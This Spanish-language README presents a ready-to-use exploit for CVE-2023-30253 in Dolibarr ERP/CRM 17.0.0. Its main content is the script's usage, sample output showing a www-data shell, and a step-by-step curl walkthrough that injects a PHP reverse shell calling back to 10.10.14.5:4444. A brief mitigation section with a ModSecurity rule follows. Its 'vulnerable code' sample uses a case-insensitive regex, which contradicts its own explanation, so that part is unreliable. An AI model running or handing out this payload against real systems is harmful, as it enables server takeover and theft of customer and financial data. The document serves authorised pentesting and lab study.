
CVE-2023-30253 — Dolibarr ERP/CRM 17.0.0 RCE mediante inyección de código PHP (exploit educativo)
Exploit de inyección de código PHP para Dolibarr ERP/CRM v17.0.0 que
permite obtener una shell reversa como usuario www-data mediante
el módulo Website/CMS.
⚠️ Solo para uso educativo y auditorías con autorización.
CVE-2023-30253 es una vulnerabilidad de inyección de código PHP (CWE-94: Improper Control of Generation of Code) en Dolibarr ERP/CRM versiones anteriores a 17.0.1.
Fue descubierta y reportada por el equipo de Swascan (ahora Hacktivesecurity) en mayo de 2023. La vulnerabilidad reside en el módulo Website/CMS, que permite a usuarios autenticados crear y gestionar sitios web dentro de Dolibarr.
Dolibarr implementa un filtro para evitar que los usuarios inyecten código PHP en el contenido de las páginas del módulo Website. Sin embargo, este filtro tiene un defecto crítico: es case-sensitive.
// Código vulnerable (simplificado) en Dolibarr 17.0.0
if (preg_match('/<\?php/i', $content)) {
// Bloquea solo "<?php" en minúsculas exactas... ¿o no?
die("PHP code detected!");
}
El filtro busca literalmente la cadena <?php en minúsculas. Pero PHP
permite cualquier combinación de mayúsculas y minúsculas para la
etiqueta de apertura. Esto significa que:
El exploit usa <?PHP (en mayúsculas) para bypassear el filtro, pero
cualquier variante funciona.
Además, el filtro solo se aplica en el momento de guardar el
contenido. Al servir la página, Dolibarr pasa el contenido sin
sanitización adicional al intérprete de PHP, que ejecuta cualquier
código con la etiqueta de apertura <?.
Un atacante autenticado puede:
/etc/passwd, configuración)¿Por qué es crítico? Dolibarr se usa como ERP/CRM empresarial. Una intrusión puede exponer datos de clientes, finanzas, contratos y credenciales internas.
El exploit automatiza el proceso completo de explotación en 5 pasos:
┌─────────────────────────────────────────────────────────┐
│ CVE-2023-30253 │
│ │
│ 1. Login → Autenticarse en Dolibarr │
│ 2. Create Website → Crear un sitio web vacío │
│ 3. Create Page → Crear una página en el sitio │
│ 4. Inject Shell → Inyectar PHP reverse shell │
│ 5. Trigger → Ejecutar el payload │
│ │
│ Resultado: 🎯 Shell reversa como www-data │
└─────────────────────────────────────────────────────────┘
Características:
pageidfsockopen + proc_openrequestsbeautifulsoup4O simplemente:
pip install -r requirements.txt
# Clonar el repositorio
git clone https://github.com/jeanback1/CVE-2023-30253-exploit.git
cd CVE-2023-30253-exploit
# Instalar dependencias
pip install -r requirements.txt
python exploit.py <target> <username> <password> <lhost> <lport> [opciones]
Argumentos posicionales:
Opciones:
| Opción | Descripción |
|---|---|
-v, --verbose | Muestra información detallada de depuración |
--no-color | Desactiva colores en la salida |
-h, --help | Muestra la ayuda y ejemplos |
nc -lvnp 4444
python exploit.py http://crm.board.htb admin admin 10.10.14.5 4444 --verbose
════════════════════════════════════════════════════════
CVE-2023-30253 — Dolibarr 17.0.0 RCE Exploit
════════════════════════════════════════════════════════
Target: http://crm.board.htb
User: admin
LHOST: 10.10.14.5
LPORT: 4444
Site ID: s3a1f2bc
──────────────────────────────────────────────────
[10:45:12] Paso 1/5: Iniciando sesión...
[10:45:12] ✓ Sesión iniciada correctamente
[10:45:13] Paso 2/5: Creando sitio web...
[10:45:13] ✓ Sitio web 's3a1f2bc' creado
[10:45:13] Paso 3/5: Creando página en el sitio...
[10:45:13] ✓ Página creada dentro del sitio
[10:45:14] Paso 4/5: Inyectando reverse shell → 10.10.14.5:4444...
[10:45:14] ✓ Código PHP inyectado exitosamente
[10:45:14] Paso 5/5: Ejecutando payload (trigger)...
════════════════════════════════════════════════════════
EXPLOTACIÓN COMPLETADA
════════════════════════════════════════════════════════
Trigger URL:
http://crm.board.htb/public/website/index.php?website=s3a1f2bc&pageref=s3a1f2bc
Instrucciones:
1. En otra terminal, inicia tu listener:
nc -lvnp 4444
2. Accede a la Trigger URL (el exploit ya lo hizo)
3. Recibirás una shell reversa como www-data
Listening on 0.0.0.0 4444
Connection received on 10.129.231.37 52846
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Si prefieres entender el proceso manualmente (sin el script), aquí está el flujo completo:
# Obtener cookies y token CSRF
curl -c cookies.txt http://crm.board.htb/ > /dev/null
# Extraer token
TOKEN=$(curl -s -b cookies.txt http://crm.board.htb/ \
| grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')
# Login
curl -b cookies.txt -c cookies.txt \
-X POST "http://crm.board.htb/index.php?mainmenu=home" \
-d "token=$TOKEN&actionlogin=login&loginfunction=loginfunction&username=admin&password=admin"
TOKEN=$(curl -s -b cookies.txt \
"http://crm.board.htb/website/index.php?action=createsite" \
| grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')
curl -b cookies.txt -X POST \
"http://crm.board.htb/website/index.php" \
-d "token=$TOKEN&action=addsite&WEBSITE_REF=misitio&WEBSITE_TITLE=misitio&addcontainer=Create"
⚠️ Lección aprendida: El parámetro
actioncorrecto esaddsite, noaddcomo aparece en algunos exploits públicos.
TOKEN=$(curl -s -b cookies.txt \
"http://crm.board.htb/website/index.php?website=misitio" \
| grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')
curl -b cookies.txt -X POST \
"http://crm.board.htb/website/index.php" \
-d "token=$TOKEN&action=addcontainer&website=misitio&WEBSITE_TYPE_CONTAINER=page&WEBSITE_TITLE=TEST&addcontainer=Create"
TOKEN=$(curl -s -b cookies.txt \
"http://crm.board.htb/website/index.php?website=misitio&pageid=1&action=editsource" \
| grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')
PHP='<?PHP $s=fsockopen("10.10.14.5",4444);proc_open("/bin/sh -i",array(0=>$s,1=>$s,2=>$s),$p);?>'
curl -b cookies.txt -X POST \
"http://crm.board.htb/website/index.php" \
--data-urlencode "token=$TOKEN" \
--data-urlencode "action=updatesource" \
--data-urlencode "website=misitio" \
--data-urlencode "PAGE_CONTENT=$PHP"
🔑 Clave del ataque: El campo correcto es
PAGE_CONTENT, noWEBSITE_CONTENT. Muchos PoCs públicos tienen este error.
curl "http://crm.board.htb/public/website/index.php?website=misitio&pageref=misitio"
Para proteger un servidor Dolibarr contra esta vulnerabilidad:
# Actualizar a Dolibarr 17.0.1 o superior
# El parche corrige el filtro para detectar cualquier variante de <?php
Si no usas el módulo Website/CMS, desactívalo desde:
Home → Setup → Modules → Website → Desactivar
# Bloquear cualquier variante de etiquetas PHP en el campo PAGE_CONTENT
SecRule ARGS:PAGE_CONTENT "@rx <\?php|< \?php|<\?PHP|<\?[pP][hH][pP]" \
"id:1001,phase:2,deny,status:403,msg:'CVE-2023-30253 PHP Injection blocked'"
Este proyecto es creado con fines educativos y de investigación en seguridad informática. El uso de este exploit contra sistemas sin autorización explícita es ilegal y éticamente reprobable.
Como profesional de ciberseguridad, creo firmemente en:
Creado por Jean Carlos
Estudiante de Ciberseguridad | Pentesting | CTF Player
CVE-2021-3560 •
CVE-2023-27163 •
CVE-2024-46986 •
CVE-2025-2304
| Campo | Valor |
|---|
| CVE | CVE-2023-30253 |
| CVSS v3.1 | 8.8 (HIGH) |
| Vector | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Tipo | CWE-94 — Code Injection |
| Software afectado | Dolibarr ERP/CRM < 17.0.1 |
| Privilegios | Usuario autenticado (cualquier rol) |
| Parche | Dolibarr 17.0.1 — commit 4f6055c |
| Etiqueta | ¿Filtrada? | ¿Ejecutada por PHP? |
|---|
<?php ... ?> | ✅ | ✅ |
<?PHP ... ?> | ❌ | ✅ |
<?Php ... ?> | ❌ | ✅ |
<?pHp ... ?> | ❌ | ✅ |
| Argumento | Descripción | Ejemplo |
|---|
target | URL base de Dolibarr | http://crm.board.htb |
username | Usuario de Dolibarr | admin |
password | Contraseña de Dolibarr | admin |
lhost | Tu IP (donde recibirás la shell) | 10.10.14.5 |
lport | Tu puerto (donde recibirás la shell) | 4444 |